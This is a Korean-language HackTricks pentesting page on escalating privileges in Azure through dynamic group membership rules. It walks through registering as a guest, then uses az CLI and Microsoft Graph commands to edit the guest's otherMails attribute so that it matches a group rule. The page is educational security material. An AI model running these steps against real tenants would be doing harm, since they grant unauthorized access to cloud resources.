Az - Dynamic Groups Privesc

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Dynamic groups는 설정된 규칙 세트를 가진 그룹으로, 규칙에 맞는 모든 사용자 또는 장치가 그룹에 추가됩니다. 사용자 또는 장치의 속성변경될 때마다 동적 규칙이 재확인됩니다. 그리고 새 규칙생성되면 모든 장치와 사용자가 확인됩니다.

Dynamic groups는 Azure RBAC 역할을 할당받을 수 있지만, AzureAD 역할을 동적 그룹에 추가하는 것은 불가능합니다.

이 기능은 Azure AD premium P1 라이센스가 필요합니다.

Privesc

기본적으로 모든 사용자가 Azure AD에서 게스트를 초대할 수 있으므로, 동적 그룹의 규칙속성에 따라 사용자에게 권한을 부여하는 경우, 이러한 속성을 가진 게스트생성하여 권한 상승을 할 수 있습니다. 게스트는 자신의 프로필을 관리하고 이러한 속성을 변경할 수도 있습니다.

동적 멤버십을 허용하는 그룹 가져오기: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

예시

  • 규칙 예시: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • 규칙 설명: 'security' 문자열이 포함된 보조 이메일을 가진 모든 게스트 사용자가 그룹에 추가됩니다.

게스트 사용자 이메일에 대해 초대를 수락하고 https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView에서 해당 사용자의 현재 설정을 확인합니다.
불행히도 페이지에서 속성 값을 수정할 수 없으므로 API를 사용해야 합니다:

bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기